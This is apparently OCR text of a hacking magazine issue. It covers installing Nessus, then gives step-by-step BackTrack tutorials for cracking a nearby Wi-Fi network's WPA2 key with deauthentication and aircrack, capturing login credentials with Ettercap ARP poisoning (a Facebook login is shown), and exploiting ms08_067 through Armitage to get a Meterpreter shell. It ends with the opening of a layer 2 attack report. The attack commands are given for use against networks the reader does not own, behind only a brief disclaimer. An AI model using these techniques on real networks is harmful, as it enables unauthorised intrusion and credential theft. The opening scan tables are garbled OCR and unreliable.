1911 0 Mandel datases MB back fictures Maintain 1940 2 160 0. Capitar Instrumentation General 1944 2 160 0. Capitar Instrumentation General 1944 2 160 0.12 Marcines Regretation General 1947 1 160 Marcine Marcines Description 1947 2 160 Marcine Marcines Instrumentation Description 1947 2 160 Marcine Marcines Instrumentation Description 1948 2 160 Marcine Marcines Instrumentation Marcines Instrumentation 1949 160 Marcine Marcines Instrumentation Marcines Instrumentation Marcines Instrumentation 1949 160 Marcines Instrumentation Marcines Instrumentation Marcines Instrumentation	10883	D	140	33, Celfran Irlanator	(herea)		
PAND D. D. Operations Respond Owner Dista J. Dista	19819	DE	2.00	Mission Windows 1940 Densite Detection	Weiters		
BMH B B B A layous layout General 001 4 M MTP been Special values Memory 0047 5 MD Manage values Memory 0047 5 MD Manage values Memory 0148 2 MD Manage values Manage values 0149 7 MD Manage values Manage values 0149 7 MD Manage values Manage values 0149 6 Monage values Manage values Manage values 0140 0 MD Manage values Manage values Manage values	2164)		1.44	50. Optor Bates Exported	General		
DDI F PA PA PA PA PA Manual Neuro Alvancia Manual Neur	50964	10	100.1	83L/7L8 Version Reported	Owned		
UM Non-Monthe Darrow dender UBM 10 Month Minder Mills (La Monthe) Darrow dender UBM 0 Month Minder Mills (La Monthe) Monthe UBM 0 Monthe Minder Minder Mills (La Monthe) Monthe UBM 0 Monthe Minder Minder Mills (La Monthe) Monthe UBM 0 Monthe Minder Minder Mills (La Monthe) Monthe UBM 0 Monthe Minder Minder Mills (La Monthe) Monthe	10100	Dir.	141	NTIP Server Type and Version	Web Servers		
DBF I Month Medication MB (a) in Product Weath Weather MDF I IPA Month Medication MB (a) in Product Month Medication MB (a) in Product Weath MDB I IPA Month Medication MB Medication MB (a) in Product Month Medication MB (a) in Product M	10147		100	Nexus Server Detectue:	Earvier detection		
COM File Missed Probes NBL Schlark Pyrk Rev Living Distance Notase NUM C Missed Probes NBL Network Transitionation Dataset Notase NUM C Missed Probes NBL Network Transitionation Dataset Notase NUM C Missed Probes NBL Network Transitionation Dataset Notase	10894		1.42	Manual Windows SAB Log in Presidie	Weiling		
1270 T Waxwell Webser DB Netwick/Respir Nervel Letters Infernation Dictioner Windows 1383 T Min Oil Interfaulter General	10387	20	1.00	Monealt Medices SMB Land/as Pipe Server Listing Disclosure	Windows		
1988 To bit Of Interfluence General	51788	0	100	Mound Windows DMS NativeLad/Fanger Nervals Eystem Information Disclosure	Windows		
	19808		346	OS Identification	General		

Figure 49. Beyond Nessus II

backtrack 5 R2 is so easy, so how to install Nessus in Backtrack 5 R2? You can follow these steps to install Nessus in Backtrack 5 R2.

There are mainly two ways to get Nessus on Backtrack 5 R2 first one is to download a copy of Nessus from its official website but the easiest way is to use your terminal:

Step 1 – Obtaining an Activation Code

For this article I will use Backtrack5 R2, so start your bt5 R2 and then follow the steps below:

- On the first step you need to register your Nessus, on bt5 R2 click on Application>Backtrack>Vulnerability assessment>vulnerability scanner>Nessus> Nessus register.
- You will be on a web page of Nessus; you can use the link to do the same thing.
- On the website click on home feed for free or if you want to use Nessus at your work than choose work feed.
- After a short registration form you will get an email from Nessus with your activation code.
- Open the terminal and type the command below to register your Nessus.

/opt/nessus/bin/nessus-fetch --register YOUR CODE HERE

/opt/nessus/bin/nessus-fetch --register BSHV-****-***-

****-AEY2



Figure 50. Beyond Nessus III

<pre>root@bt:~# a</pre>	irmon-ng	La Ist		
Interface	Chipset	Driver		
wlan0	Ralink RT28	70/3070	rt2800usb -	[phy21]

Figure 51. Beyond Nessus IV

Step 2 – Activating Nessus Figure 42

Step 3 – Creating a User Account

- On the second step add user(s) on your Nessus, click on Application>Backtrack>Vulnerability assessment>vulnerability scanner>Nessus>Nessus user add.
- Enter the login name, password; if you want to make the user as the admin than follow the procedure, on rules just press enter (Figure 43).

Step 4 – Starting Nessus

You are almost done, now this time to start your Nessus, click on *Application>Backtrack>Vulnerability* assessment>vulnerability scanner>Nessus>Nessus start (Figure 44)

Step 5 – Accessing the Nessus Web Interface

Once Nessus has been initially started, it will begin to index and compile all of the plugins. This can take some time, depending on the speed of your system. If Nessus is still processing plugins, you may see the following screen when accessing the web interface: Figure 45.

The web interface can be accessed with your browser by making an HTTPS connection to TCP port 8834 (e.g. *https://localhost:8834/*). If you are using a browser local to the BackTrack5 R2 distribution, such as the supplied version of Firefox, be certain that you enable Flash and JavaScript for this site (Flash is required to access the Nessus Web Interface, and JavaScript is required to view some of the reports). You can also access the Nessus Web Interface remotely by using the IP address assigned to Backtrack5 R2 (e.g. *https:// 192.168.238.128:8834/*; Figure 46).



Figure 52. Beyond Nessus V



Figure 53. Beyond Nessus VI

Step 6 – Scanning host or network vulnerability

After putting the user id and password a new window will open in which you have to click on SCAN option>add host>and fill information and select type of scanning and policy and in scan you have two option in your hand, either you can put the IP address of scanning network or host otherwise you can create a .txt file in which put all those IP addresses of systems in the network which you want to scan. And finally click on Launch Scan (Figure 47).

Step 7 – Launch the Scanning for host or network

Than successfully it will launch the scanning and will take some time to scan the host or network (Figure 48).

Step 8 – Creating of Report

Once it will scan and will display the message that the host or network successfully scanned and will create a report about host or network vulnerability than after you can click on Brower Option to see the result of running vulnerabilities on the host or network (Figure 49).



Figure 54. Beyond Nessus VII



Figure 55. Beyond Nessus VIII



Figure 56. Beyond Nessus IX

Step 9 – Description about vulnerability

Once you will click on any particular Vulnerability it will tell you about it's description with Solution, Risk Factor and Exploitation Method (Figure 50).

****Enjoy Nessus for scanning your host or network vulnerability****

Crack a Wi-Fi Network's WPA2 PSK Password With BackTrack

You already know that if you want to lock down your Wi-Fi network, you should opt for WPA2 encryption. But did you know how easy to crack WPA2 Encryption? Take a look.

Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WPA2 security turned on.



Figure 57. Wi-fi Network Tutorial I

Figure 58. Wi-fi Network Tutorial II



Figure 59. Wi-fi Network Tutorial III

But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this article educational, or a proof-of-concept intellectual exercise.

What You'll Need

Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:

 A compatible wireless adapter – This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not There are plenty of



Figure 60. Wi-fi Network Tutorial IV



Figure 61. Wi-fi Network Tutorial V



You can talk the talk. Can you walk the walk? Here's a chance to prove it.

[IT'S IN YOUR PULSE]

LEARN

Advancing Computer Science Artificial Life Programming Digital Media Digital Video Enterprise Software Development Game Art and Animation Game Design Game Programming Human-Computer Interaction Network Engineering

Network Securi

Open Source Technologies Robotics and Embedded Systems Serious Games and Simulation Strategic Technology Development Technology Forensics Technology Product Design Technology Studies Virtual Modeling and Design Web and Social Media Technologies

GEEKED AT BIRTH

www.uat.edu > 877.UAT.GEEK

Please see www.uat.edu/fastfacts for the latest information about degree program performance, placement and costs.



Figure 62. Wi-fi Network Tutorial VI

resources on getting aircrack-compatible adapters out there.

- A BackTrack Live CD. We already took you on a *full* screenshot tour of how to install and use BackTrack 5, the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started.
- A nearby WPA2-enabled Wi-Fi network. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.



Figure 63. Wi-fi Network Tutorial VII

Start Targets	Hosts View Mitr	n Filters Looping Pic	ettercap NG-0.7.3		- All
Host List 🕱					
IP Address	MAC Address	Description			
192.168.0.1 192.168.0.20	08:00:27:00 EC:06 08:00:27:0A:C8:53				
	Delete Host		Add to Target 1	Add to Target 2	
39 protocol dis 53 ports monit 7587 mac vend	sectors ored or fingerprint		+++		
2183 known sei Randomizing 25 Scanning the w 2 hosts added t	vices 5 hosts for scanning hole netmask for 25! o the hosts list	s hosts			

Figure 64. Wi-fi Network Tutorial VIII

 Patience with the command line. This is an tenstep process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.

Crack That WPA2 PSK

Step 1

To crack WPA2 PSK, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.

First run the following to get a list of your network interfaces: (Figure 51).

The only one I've got there is labeled wlan0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).

Step 2

Now, run the following four commands. See the output that I got for them in the Figure 52.

Step 3

Figure 53.

Step 4

Figure 54.

Step 5

Figure 55.

Step 6

Now it's time to pick your network. Run: Figure 56. Enter airodump-ng mon0, airodump will scan for APs but will not save any data. We are looking for our AP's channel and BSSID. Once you have it, stop the process (Figure 57).

Step 7

Enter airodump-ng -c 11 -w wpa2cisco -bssid 98:FC:11:61:5A: 50 mon0 (Figure 58).

Step 8

Open a new Terminal: Enter aireplay-ng -0 5 -a 98:FC: 11:61:5A:50 -c 5C:59:48:73:CC:31 mon0, aireplay will send 5 deauthentication packets to the station. Repeat aireplay until airodump captures the handshake. Once captured, stop all processes (Figure 59).

Step 9

Enter aircrack-ng -w /backtrack/passwords/john/password.lst wpa2cisco-01.ivs, -w is the location of your dictionary file, I am using the one included with BT (Figure 60).

^{*****}We have successfully cracked WPA2 PSK KEY*****
Address	MAC Address	Description		
92.168.0.1	08:00:27:00:EC:06			
2.168.0.20	08:00:27:0A:CB:53			
			MITM Attack: ARP Poisoning	
			Optional parameters	
			Shiff remote connections.	
			Only poison one-way	
			E only poster one way.	
			(manual fragment)	
			QK Cancel	
	Delete Host		Add to Target 1	Add to Target 2
protocol dis	sectors			
ports monit	ored			
	or finance int			

Figure 65. Wi-fi Network Tutorial IX

Sniffing Password with Ettercap – Backtrack

I am sharing sniffing in Linux – Backtrack using the Tools ... Ettercap Ettercap on BackTrack already exists, just use (Figure 61). We can use version GUI or Console version ... ok immediately wrote ... 1. GUI versions – Open Ettercap with a way to open a terminal and type Ettercap – gtk and enter .. (it can be opened through the menu) – After appearing Ettercap click Sniff – unified sniffing or press shift + u, then select your network interfaces and then ok.

- GUI Version of Ettercap (Figure 62)
 - Click Hosts Scan for Host (Figure 63)





Start Targets	Hosts View Mit	m Filters Looging	etterca Plugins Help	ap NG-0.7.3		
Host List 💥						
IP Address	MAC Address	Description				
192.168.0.1	08:00:27:00:EC:06	i				
192.168.0.20	08:00:27:0A:CB:53	1				
	Delete Host		1	idd to Target 1	Add to Target 2	
VRP poisoning v	ctims:			100		1
GROUP 1 : ANY	(all the hosts in the	list)				
SROUP 2 : ANY itarting Unified	all the hosts in the sniffing	list)				
TTP : 69 171 2	29.11:443 -> USER	att Adam	al.com PASS	INFO: http:	//www.facebook.com/index.php?lh=Ac90if	xF1g2Xz8i

Figure 67. Sniffing Via Ettercap II



Figure 68. Sniffing Via Ettercap III

- After scanning like the picture above click Host Host list (Figure 64)
- Now do ARP Poisoning click MitM Arp poisoning – check Sniff remote connections – Ok (Figure 65)
- Now Click on Start Start sniffing ... (Figure 66) just wait for it ... until there is a username and password like this ... (Figure 67)
- Console version of the Ettercap. Console version now, in my opinion is easier this way ... but it works just the same: D – Open Terminal – type ettercap-Tqi [interfaces]-M ARP: REMOTE / / / – if it means



Figure 69. Sniffing Via Ettercap IV



Figure 70. Sniffing Via Ettercap VI



Figure 71. Sniffing Via Ettercap VII

the command interface can be eth0 ""ettercap -Tqi eth0 -M ARP: REMOTE // //"" (Figure 68)

Wait until there is an entry like this:) ... (Figure 69)

*****NOW YOU HAVE SUCCESSFULLY CAPTURED HTTPS DATA***** PACKETS

BackTrack Tool: Armitage

Armitage is the GUI based tool for Metasploit, that shows the targets, exploits in the framework.

Features of Armitage

- With Armitage you can scan all the alive host on the network.
- Armitage recommends exploits and will optionally run active checks to tell you which exploits will work.
- If these options fail, use the Hail Mary attack to unleash Armitage's smart automatic exploitation against your targets.



Figure 72. Find the Exploits with Armitage I



Figure 73. Find the Exploits with Armitage II



Figure 73. Find the Exploits with Armitage III

• When you successfully exploit the target, With the click of a menu you will escalate your privileges, log keystrokes, browse the file system, and use command shells.

Requirements

- Backtrack 5 (You can download Backtrack 5 Here)
- MySQL / PostgreSQL
- Java
- Metasploit All this requirement already included in Backtrack 5, if you want the latest update, just run apt-get update.

Cyber Attack Management

Armitage organizes Metasploit's capabilities around the hacking process. There are features for discovery, access, post-exploitation, and maneuver. This section describes these features at a high-level, the rest of this manual covers these capabilities in detail (Figure 70).

Armitage's dynamic workspaces let you define and switch between target criteria quickly. Use this to segment thousands of hosts into target sets. Armitage also launches scans and imports data from many security scanners. Armitage visualizes your current targets so you'll know the hosts you're working with and where you have sessions.



Figure 74. Find the Exploits with Armitage IV



Figure 75. Find the Exploits with Armitage V

Armitage recommends exploits and will optionally run active checks to tell you which exploits will work. If these options fail, use the Hail Mary attack to unleash Armitage's smart automatic exploitation against your targets.

Once you're in, Armitage exposes post-exploitation tools built into the Meterpreter agent. With the click of a menu you will escalate your privileges, log keystrokes, dump password hashes, browse the file system, and use command shells.



Figure 76. Find the Exploits with Armitage VI



Figure 77. Find the Exploits with Armitage VII



Figure 78. Find the Exploits with Armitage VIII

Armitage makes it trivial to setup and use pivots. You'll use compromised hosts as a hop to attack your target's network from the inside. Armitage uses Metasploit's SOCKS proxy module to let you use external tools through your pivots. These features allow you to maneuver through the network.

The rest of this manual is organized around this process, providing what you need to know in the order you'll need it.



Figure 79. Find the Exploits with Armitage IX



Figure 80. Find the Exploits with Armitage X



Figure 81. Find the Exploits with Armitage XI

Step 1: Open Armitage on Backtrack 5

Click on Backtrack>Exploitation Tools>Network Exploitation Tools>Metasploit Framework>Armitage.

See the Figure 71 for more details how to open Armitage in Backtrack 5 r2.

Step 2: Connect Armitage

Click on the connect Button. See the Figure 72 for more details.



Figure 82. Find the Exploits with Armitage XII



Figure 83. Find the Exploits with Armitage XIII



Figure 84. Find the Exploits with Armitage XIV

Step 3: Connecting Armitage

It takes few minutes to connect. So have some patience (Figure 73).

Step 4: Armitage Window

Here is your Armitage window shown Figure 74.

Armitage has 3 panels

- TARGET PANEL: It represents the computer IP address and other information.
- MODULE PANEL: It shows the auxiliary, exploit, payload and post.
- TABS PANEL: Armitage opens each dialog, console, and table in a tab below the module and target panels. Click the X button to close a tab (Figure 75).

Step 5: Find the alive host on the Network

- In this step we have to search for the host.
- Under the Nmap Scan, select the option>Quick Scan (OS detect)



Figure 85. Find the Exploits with Armitage XV

1			
Armitage ⊻lew Hosts A	tta <u>c</u> ks <u>W</u> orkspac	es Help	
 	; 192, 168, J M	22. 2 192. 188. 222. 139 AUTHORITY\SYSTEM @ VK-DA41F4239A88	
Console X nmap X Directory of C:\	exploit X cm		
01/14/2012 08:51 PM		0 AUTOEXEC.BAT	
01/14/2012 08:51 PM	-070-	0 CONFIG.SYS	
02/01/2012 10:45 PH	<010>	backingdna	
02/28/2012 01:25 PH	<dir></dir>	Program Files	
92/10/2012 12:06 AM	<dir></dir>	RootkitNO	
02/28/2012 01:29 PH	<dir></dir>	WINDOWS	
2 Fil	e(s)	0 bytes	
5 Dir	(s) 39,768,6	16,960 bytes free	
			*

Figure 86. Find the Exploits with Armitage XVI

- See the below image for more details (see Figure 76)
- Here you have to enter the scan range.
- Here 192.168.109.0/24 this is class C range.
- Example image shown Figure 77.
- · Your Scan is complete now.
- If the Nmap scan find the alive host, then it will be shown on your Target Panel.
- See the Figure 78 for more details.



Figure 87. Find the Exploits with Armitage XVII



Figure 88. Find the Exploits with Armitage XVIII



Figure 89. Find the Exploits with Armitage XIX

Step 6: Finding Attacks

- Click on the Attacks>Find Attacks.
- It will find the most suitable attack for host shown in the Target Panel.
- See the image shown Figure 79.

When attack analysis finished, it informs with a message shown in the Figure 80.



Figure 90. Find the Exploits with Armitage XX

Automation and Automation		Amitage		٣	n 3
Armitage View Hosts	tta <u>c</u> ks <u>W</u> orkspaces <u>H</u> elp				
P auxiliary ■ exploit ■ payload ■ post	192. 168. 222. 2 NT AUTHORIT	192. 168. 222. 130 Yysystem @ VK-DA41F4239A88			
 Console X nmap X	exploit X exploit X File	s 2 X			
Console X nmap X	exploit X exploit X File	52 X			
Console X nmap X C:Documents and S	exploit X exploit X File ettings/Administrator Size	s 2 X	Mode		-
Console X nmap X C:\Documents and S Name Administrator1	exploit X exploit X File ettings\Administrator Size	5 2 X Modified 2012-02-09 04:43:32 -0500	Mode 40555/r-wr-w		
Console X nmap X C:\Documents and S Name Administrator1 Application Data	exploit X exploit X File ettings/Administrator Size	Modified 2012/02/09 04:43:32 /0500 2012/02/28 02:57:02 /0500	Mode 40555/r-sr-sr-sr-sr-sr-sr-sr-sr-sr-sr-sr-sr-sr		
Console X mmap X C:\Documents and S Name Administrator1 Application Data Cookies	exploit X exploit X File ettings\Administrator Size	5 2 X Modified 2012-02-09 04:43:32 -0500 2012-02-28 00:257:02 -0500 2012-02-28 00:257:21 -0500	Mode 40555/r-xr-xr-x 40555/r-xr-xr-x 40777/roorwwrwx		
Console X nmap X C:Documents and S Administrator1 Application Data Cookies Desktop	exploit X exploit X File ettings/Administrator Size	Modified 2012-02-09 04:43:32 -0500 2012-02-28 00:23:21 -0500 2012-02-28 00:23:21 -0500 2012-02-28 00:23:21 -0500	Mode 40555/r/wr.wr.w 40555/r/wr.wr.w 40777/rworwwr.ww		
Console X mmap X C:UDocuments and S Name Administrator1 Application Data Cookies Desktop Favorites	exploit X exploit X File ettings\/dministrator Size	5 2 X Modified 2012/02/09 04:43:32 -0500 2012/02/28 00:257:02 -0500 2012/02/28 00:257:02 -0500 2012/03/28 04:01.10 -0400 2012/03/28 04:01.10 -0400 2012/03/28 04:01.10 -0400	Mode 40555/rsrsrsrs 40555/rsrsrsrs 40777/rwsrwsrws 40777/rwsrwsrws		
Console X nmap X C:UDocuments and S Nmme Administrator1 Application Data Cookies Desktop Favorites Local Settings	exploit X exploit X File ettings\Administrator Size	5 2 X Modified 2012-02-09 04:43:32 -0500 2012-02-28 00:23:21 -0500 2012-03-28 00:23:21 -0500 2012-03-28 00:01:10 -0400 2012-01:41 51:35:22 -0500 2012-01:41 51:35:22 -0500	Mode 40555/r-xr-xr-x 40555/r-ar-ar-x 40777/morwarwar 40777/morwarwar 40757/s-ar-ar-x 40555/r-ar-ar-x		
Console X mmap X Cilbocuments and S Name Administrator1 Application Data Cookies Desktop Favorites Local Settings My Documents	exploit X exploit X File ettings\/dministrator Size	Modified 2012-02-09-04:43:32-0500 2012-02-29 00:57:02-0500 2012-02-28 00:25:21-0500 2012-03-28 04:01:10-0400 2012-01:41 0:39:00-0500 2012-01:41 5:35:21-0500 2012-02-09 13:35:25-0500	Mode 40555/rstratis 40555/rstratis 40777/rworworws 40777/rworworws 40777/rworworws 40755/rstratis		
Console X nmap X CiDocuments and S Name Administrator1 Application Data Cookies Desktop Favorites Local Settings My Documents NetHood	exploit X exploit X File ettings\Administrator Size	5 2 X Modified 2012-02:09 04:43:32:0500 2012-02:20 02:57:02:0500 2012-02:20 02:57:02:0500 2012-03:28 04:01:10:0400 2012-01:41 61:55:27:0500 2012-02:29 13:35:27:0500 2012-02:29 13:35:27:0500 2012-02:29 13:35:27:0500	Mode 40555/r-#r-#r-# 40555/r-#r-#r-# 40777/morreeme 40777/morreeme 40757/r-#r-#r-# 40555/r-#r-#r-# 40555/r-#r-#r-#		

Figure 91. Find the Exploits with Armitage XXI





Step 7: Set the vulnerability

- Right click on the host
- Click on smb
- Select the ms08_067_netapi vulnerability (Figure 81).
- Click on the checkbox Use a reverse connection.
- Now click on the Launch Button (Figure 82).

Step 8

If the target host is vulnerable then its color changes to red. That means we can attack into the computer system (Figure 83). The above image shows the meterpreter shell.

Examples Of Armitage Example 1: Opening Command Shell

Right click on the *host>Meterpreter1>Interact>Comma nd Shell* (Figure 84).

- Here is the command shell open in the Tab panel
- See the Figure 85 for more details.

Type 'dir' in the shell and you can see the remote system directories. For more details see the Figure 86.

						ж
Armitage	View Hosts Attacks Wor	kspaces <u>H</u> elp				
▼ 🚔 post ▼ 🚔 mi ▼ 🚔	alti gather dns_brutefo dns_reverse dns_srv_lool enum_vbox env filezilla_clien	168.222.2 NT AUTHORIT	192, 168, 222, 130 Y\SYSTEH @ VK-DA4	11F4239A88		
Console	X nmap X exploit X	exploit X Me	terpreter 2 X Proce	esses 2 X		
Console	X nmap X exploit X	exploit X Me	terpreter 2 X Proce	esses 2 X	Path	
Console PID 4	X nmap X exploit X	exploit X Me	terpreter 2 X Proce Session 0	esses 2 X	Path	
Console PID 4 184	X nmap X exploit X Name System cmd.exe	exploit X Me Arch x86 x86	terpreter 2 X Proce	User	Path C:\WINDOWS\Sys	-
Console PID 4 184 240	X mmap X exploit X Name System cmd.exe rundl32.exe	exploit X Me Arch ×86 ×86 ×86	terpreter 2 X Proce Session 0 0	User NT AUTHORITY(SY VK-DA41F4239A	Path C:\WINDOWS\Sys C:\Documents a	-
Console PID 4 184 240 456	X nmap X exploit X Name System cmd.exe rundl32.exe smss.exe	exploit X Me Arch x86 x86 x86 x86 x86	terpreter 2 X Proce Session 0 0 0 0	User NT AUTHORITY\SY NT AUTHORITY\SY NT AUTHORITY\SY	Path C:\WINDOWS\Sys C:\Documents a SystemRoot\Sys	-
Console PID 4 184 240 456 596	X map X exploit X Name System cmd.exe rundl32.exe sms.exe cers.exe	exploit X Me Arch x86 x86 x86 x86 x86	terpreter 2 X Proce	User NT AUTHORITYSY NT AUTHORITYSY NT AUTHORITYSY NT AUTHORITYSY	Path C:WINDOWS\Sys C:Documents a \SystemRoot\Sys Y?A:C:WINDOWS\	-
Console PID 4 184 240 456 596 620	X map X exploit X Name System cmd.exe rund132.exe csrs.exe csrs.exe winlogon.exe	exploit X Me Arch ×86 ×86 ×86 ×86 ×86 ×86 ×86 ×86	terpreter 2 X Proce	User NT AUTHORTYSY VK-DA1F4239A NT AUTHORTYSY NT AUTHORTYSY NT AUTHORTYSY	Path C:(WINDOWS\Sys C:Documents a SystemRoot(Sys I?R)C:(WINDOWS) P?R)C:(WINDOWS)	
Console PID 4 184 240 456 596 620 664	X mmap X exploit X Name X nmap X exploit X Name System cmd.exe rundl32.exe smss.exe cerss.exe wmlogon.exe services.exe	exploit X Me Arch x86 x86 x86 x86 x86 x86 x86 x86	terpreter 2 X Proce Session 0 0 0 0 0 0 0 0	User VKOA1F429A NT AUTHORTVSY NT AUTHORTVSY NT AUTHORTVSY NT AUTHORTVSY	Path C:\WINDOWS\Sys C:\Documents a (??)c:\WINDOWS\ (??)c:\WINDOWS\ (??)c:\WINDOWS\syst	-11
Console PID 4 184 240 456 596 620 664 684	X nmap X exploit X Name System cmd.exe rundl32.exe sms.exe ccrsc.exe winlogon.exe services.exe	exploit X Me Arch x86 x86 x86 x86 x86 x86 x86 x86 x86 x86	terpreter 2 X Proce	User User NT AUTHORITYSY NT AUTHORITYSY NT AUTHORITYSY NT AUTHORITYSY NT AUTHORITYSY	Path C:UNDOWS\Sys C:Documents a ISystemRoot(Sys I??(C:UWINDOWS) C:IWINDOWS C:UWINDOWS/syst	
Console PID 4 184 240 456 596 620 664 684 884	X mmap X exploit X Name System cmd.exe rund122.exe cers.exe cers.exe writigon.exe services.exe lsass.exe services.exe	exploit X Me Arch x86 x86 x86 x86 x86 x86 x86 x86 x86 x86	terpreter 2 X Proce Session 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	User VKGA414239A NT AUTHORTYSY NT AUTHORTYSY NT AUTHORTYSY NT AUTHORTYSY NT AUTHORTYSY NT AUTHORTYSY	Path C:[WINDOWS\Sys C:[Documents a (P7)C:[WINDOWS] (P7)C:[WINDOWS] C:[WINDOWS]ysst C:[WINDOWS]ysst	

Figure 93. Find the Exploits with Armitage XXII

This example shows the system information. Type the system info in the command shell (Figure 87).

Example 2: Take a Screenshot of Remote Desktop

- Click on the Meterpreter2>Explore>Screenshot
- See the image for more details
- Next image shows the result (Figure 88).
- Here it is the screenshot of the remote desktop (Figure 89).

Example 3: Browse Files

- Right click>Meterpreter2>Explore>Browse Files
- Once you click in the Browse files, it will browse all the remote files in a tab
- See the Figure 90
- Output: Browse Files (Figure 91)

Example 4: Show processes running on the Remote Machine

Right click>Meterpreter2>Explore>Show Processes (Figure 92). Here is the output shown Figure 93.

*****Successfully we have used Armitage*****

VIKAS KUMAR | ETHICAL HACKER | SPEAKER



VIKAS KUMAR (ISHAN) is one of the leading computer security experts available in India. VIKAS KUMAR born on 26 July 1990 in a town called Meerut, UP (India). VIKAS KUMAR started his Group "hackers4u" on Facebook in year 2010 and in two years he bangs the World Wide Web

with good computer ethical hacking articles and going to launch the website on Cyber Security & Ethical Hacking and working with a Anti-Hacking Community "I-hackers4u". The 22 year old guy have the capability to compete with the people best in the business so called" Ethical Hacking". Workshops and Seminars: VIKAS KUMAR have trained more than 550 people from all around the world, from countries like Thailand, Australia, Canada, Ghana, United States, South Africa, China, Malaysia, Singapore, Omen, Yemen, Indonesia, Korea, Iran and etc. www.cyber-hunt.com

Blog: www.hackyourdreams.webs.com

LinkedIn Profile: https://www.linkedin.com/profile/view? id=71569482&trk=tab_pro.Facebook:https://www.facebook.com/ hackers4u. Orkut: https://www.orkut.com/Main#Profile?uid =7581821977129211672. Email ID: vikas_ind2008@yahoo.in; cyberhunt2012@gmail.com





Printer PSL

ATURE S :

Covert tunneling SSH access over 3G/GSM cell networks NAC/802.1x bypass 😒 and more!

ndustry

0

1112

sting

Discover the glory of Universal Plug & Pwn

@pwnieexpress.com

PWNIE EXPRESS

3

t) @pwnieexpress e) info@pwnieexpress.com

P) 802.227.2PWN

THE

ONDemand Defending Layer 2 Attacks

Security has been a major concern in today's computer networks. There has been various exploits of attacks against companies, many of the attacks cost companies their reputation and cost them millions of pounds. Many attacks are implemented using inside knowledge from previous and even current employees.

The attacks are mainly due to poor network configurations which leave vulnerabilities on the network. This report will investigate common layer 2 attacks such as VLAN hopping, ping of death, password brute force, SYN attack and MAC spoofing. VLAN hopping, password brute force attacks and MAC spoofing are all used to gain unauthorized access on a network. Many of the attacks are due to default settings implemented on a network device.

Introduction

Problem Definition

The Information Technology Security sector contains vast amounts of different threats to a company's network. There are many possible potential threats that can be made within a network such as retrieving unencrypted and encrypted passwords across the network, and also retrieving vital company information. These threats are generally due to novice employees and weak network architecture. Most threats nowadays can be exploited due to un-patched servers, un-patched client/software, weak security settings, unsecure network devices, and even untrained employees.

The Information Technology security market demands for more secure networks are high. Businesses will spend more money securing their networks because this would control unauthorised access to vital information and also cut down the loss of money from an unsecure network. This project will evaluate network attacks and implement a new secure network design.

Rationale

The project values include finding different weaknesses that companies commonly suffer from. Whenever a

company suffers from security threats this would mean the company's confidential information are at risk. This increases the money lost from data losses or hacking, therefore companies must reduce this risk.

This project will involve implementing a network design and test to find different weaknesses. Once the weaknesses have been found, a new network design will need to be implemented by using the results from the previous test to countermeasure the security threats.

Aims and Objectives

Aims

The aim of this project is to conduct network security analysis using existing software with the purpose of discovering weaknesses within a network environment. By using results from tests, a new secure network design is to be implemented.

Objectives

The objectives in this project will determine how the project will be completed and how the aim will be achieved.

- Research and discussion into security issues: MAC spoofing, VLAN hopping and DoS attacks.
- Extensive research into Linux Backtrack 3 operating system.
- Use Linux Operating System Backtrack 3 to test vulnerabilities.
- Research into CEH (Certified Ethical Hacking) certification.
- Implement network design without security and test.

• Implement new network design to countermeasure vulnerabilities and retest network.

Introduction

As technology increases as does the need for further protection within a network. The use of new technologies is used to penetrate networks with new discovered vulnerabilities.

Turner (2008) stated that 'Today's attackers entice their victims to come to them. Hackers and cybercriminals compromise trusted websites or applications; then, when a user visits that site or uses that application, the attacker is able to compromise the user's computer'.

This statement by Turner indicates that many hackers are not particularly interested in hacking a user's computer or an organization's network. An attacker wants the victims to come to them by publishing websites to trick users into interacting with that site, such as downloading files which may contain Trojans or redirecting users to another site. In each scenario, the attacker is able to compromise data from a user.

As the Information Technology security sector is huge, this report will look in depth into specific well known attacks such as VLAN hopping, MAC spoofing, DoS attacks; password brute force, ping of death and SYN attacks. The need for network security cannot be expressed enough. Many companies and home users expect their networks to be secure from future and newer attacks. This is not the case because of technology growth. Another problem encountered is inside threats.

Drab (2006) stated that 'Many organizations do not realize the threat posed by trusted employees who are setting aside the company's interests for their own gain.'

This statement explains that many employees would or allow others to gain unauthorized access to vital company information for the benefit of his or her interest. The attacker may alter information or use the information to implement other attacks.

CEH (Certified Ethical Hacking)

The CEH (*Certified Ethical Hacking*) is a certificate programme for employees who intend to conduct authorized penetration testing within a company network to find security vulnerabilities. Penetration testing is important within a company network because vulnerabilities should be discovered before they are discovered outside of the organization. CEH ethical hacking and countermeasure certification involves an enormous range of topics such as footprinting, scanning, enumeration, system hacking, Trojans and backdoors, sniffers, DoS and so on. As the extent of this certification is huge, this project will concentrate on the topics such as network sniffers, denial of service, system hacking, physical security, corporate espionage by insiders and security policies.

Network Sniffing

The main purpose of network sniffers is to retrieve username/password, credit card details, vital company information, and so on.

Network sniffing can generally be associated by the 'Man-in-the-middle' scenario (see Figure 1 – Man in the Middle). The man-in-the-middle scenario is best demonstrated by an open session between two end devices in which an attacker would be deployed in between the devices while the session is open. The attacker uses sniffer software to capture packets sent and received from both devices. The most vulnerable protocols that are usually sniffed by the software are HTTP, SMTP, NNTP, POP, FTP, and IMAP. These protocols send passwords over the network media in clear text where the attacker's software can easily intercept the data and read without decrypting the packets.

There are two types of sniffing methods on a network; the first type is referred to as 'Passive sniffing'. Passive sniffing is generally done when an attacker uses the software to sniff network traffic through a hub device. The other type is referred to as 'Active sniffing'. Active



Figure 1. Man in the Middle attack

sniffing is very similar to passive sniffing but this method intercepts traffic through a switch device instead of a hub.

